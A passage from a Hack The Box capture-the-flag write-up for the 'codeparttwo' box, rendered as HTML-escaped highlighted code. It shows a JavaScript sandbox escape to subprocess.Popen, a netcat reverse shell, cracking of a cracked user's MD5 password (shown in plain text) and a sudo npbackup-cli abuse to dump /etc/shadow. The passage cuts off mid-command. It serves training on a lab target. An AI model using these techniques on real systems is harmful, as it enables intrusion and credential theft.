&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;        let&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; item&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; o&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;sub_class&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;i&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;item&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;__module__&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; ==&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; item&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; ==&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;            return&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; item&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;item&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; !=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; findpopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;item&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;            return&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;n11&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; findpopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;obj&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;command&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; true&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;communicate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By setting up a listener and running this in the browser, we gain a foothold as username &lt;code&gt;app&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;┌──(akses㉿kali&lt;/span&gt;&lt;span&gt;)-&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;~/htb/codeparttwo&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;└─$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; nc&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;lnvp&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt; 4242&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;listening&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; on&lt;/span&gt;&lt;span&gt; [any&lt;/span&gt;&lt;span&gt;] 4242 ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span&gt; [10.10.14.19&lt;/span&gt;&lt;span&gt;] from (&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;UNKNOWN&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;10.129.232.59&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; 40176&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;bash:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; cannot&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; set&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; terminal&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; process&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; group&lt;/span&gt;&lt;span&gt; (922&lt;/span&gt;&lt;span&gt;): Inappropriate ioctl &lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;for&lt;/span&gt;&lt;span&gt; device&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;bash:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; no&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; job&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; control&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; in&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; this&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app@codeparttwo:~/app$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; gid&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; groups&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;1&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;app@codeparttwo:~/app$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;post-exploitation&quot;&gt;Post-Exploitation&lt;/h2&gt;
&lt;p&gt;A quick &lt;code&gt;cat /etc/passwd&lt;/code&gt; shows us that there is &lt;code&gt;root&lt;/code&gt;, &lt;code&gt;app&lt;/code&gt; and &lt;code&gt;marco&lt;/code&gt; as shelled users on the box. We don’t have access to marco’s files so we either need to escalate our privileges to root or marco in order to solve this box.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/home/app/app/instance&lt;/code&gt; directory houses the users.db file that we can exfiltrate and inspect offline. It is a SQLite 3.x database. Kali comes with sqlitebrowser, that gives us a GUI way to browse its contents, and its in the &lt;code&gt;users&lt;/code&gt; table where we can find the password hash for the user &lt;code&gt;marco&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/ctf-writeups/code-part-2/codeparttwo-sqlite.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These are raw MD5 hashes and the &lt;code&gt;marco&lt;/code&gt; hash is vulnerable to a dictionary attack using &lt;code&gt;john&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;┌──(akses㉿kali&lt;/span&gt;&lt;span&gt;)-&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;~/htb/codeparttwo&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;└─$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; john&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ./hashes.txt&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-format=Raw-MD5&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-wordlist=/usr/share/wordlists/rockyou.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;Using&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; default&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; input&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; encoding:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; UTF-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;Loaded&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt; 2&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; password&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; hashes&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; with&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; no&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; different&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; salts&lt;/span&gt;&lt;span&gt; (Raw-MD5 [MD5&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 512/512&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; AVX512BW&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 16x3]&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;Warning:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; no&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; OpenMP&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; support&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; for&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; this&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; hash&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; type,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; consider&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-fork=4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;Press&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; or&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Ctrl-C&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; abort,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; almost&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; any&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; other&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; key&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; for&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; status&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;sweetangelbabylove&lt;/span&gt;&lt;span&gt; (marco&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By using the username &lt;code&gt;marco&lt;/code&gt; and password &lt;code&gt;sweetangelbabylove&lt;/code&gt; we’re able to login via SSH as marco and get the first flag for the foothold!&lt;/p&gt;
&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;Inspecting the sudoers with &lt;code&gt;sudo -l&lt;/code&gt; shows that marco can run a backup utility called &lt;code&gt;npbackup-cli&lt;/code&gt; with sudo, making this a possible privesc vulnerability if we can force this tool to do our bidding.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;marco@codeparttwo:~$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; sudo&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;l&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;Matching&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Defaults&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; entries&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; for&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; marco&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; on&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; codeparttwo:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;    env_reset,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mail_badpass,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; secure_path=/usr/local/sbin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/usr/local/bin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/usr/sbin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/usr/bin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/sbin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/bin&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;\:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/snap/bin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; marco&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; may&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; run&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; the&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; following&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; commands&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; on&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; codeparttwo:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; :&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ALL&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; NOPASSWD:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /usr/local/bin/npbackup-cli&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;lolbin-npbackup-cli&quot;&gt;LoLbin: npbackup-cli&lt;/h3&gt;
&lt;p&gt;As luck would have it, there is a misconfiguration based privilege escalation proof of concept on &lt;a rel=&quot;external&quot; href=&quot;https://github.com/AliElKhatteb/npbackup-cli-priv-escalation&quot;&gt;github&lt;/a&gt;. By uploading and modifying this file we can read the root flag or the shadow file.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;marco@codeparttwo:/tmp$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; sudo&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; npbackup-cli&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ./backup.cfg&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-backup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;2025-11-21&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 16:47:32,929&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ::&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; INFO&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ::&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; npbackup&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt; 2025032101&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Copyright&lt;/span&gt;&lt;span&gt; (C&lt;/span&gt;&lt;span&gt;) 2022-2025 NetInvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;processed&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; files,&lt;/span&gt;&lt;span class=&quot;z-l-9 z-d-9&quot;&gt; 1.339&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; KiB&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; in&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 0:00&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;snapshot&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 763308b2&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; saved&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;SNIP&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And following up with this command to dump the backup we saved as root.&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;marco@codeparttwo:/tmp$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; sudo&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /usr/local/bin/npbackup-cli&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; npbackup.conf&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-dump&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /etc/shadow&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-snapshot-id&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 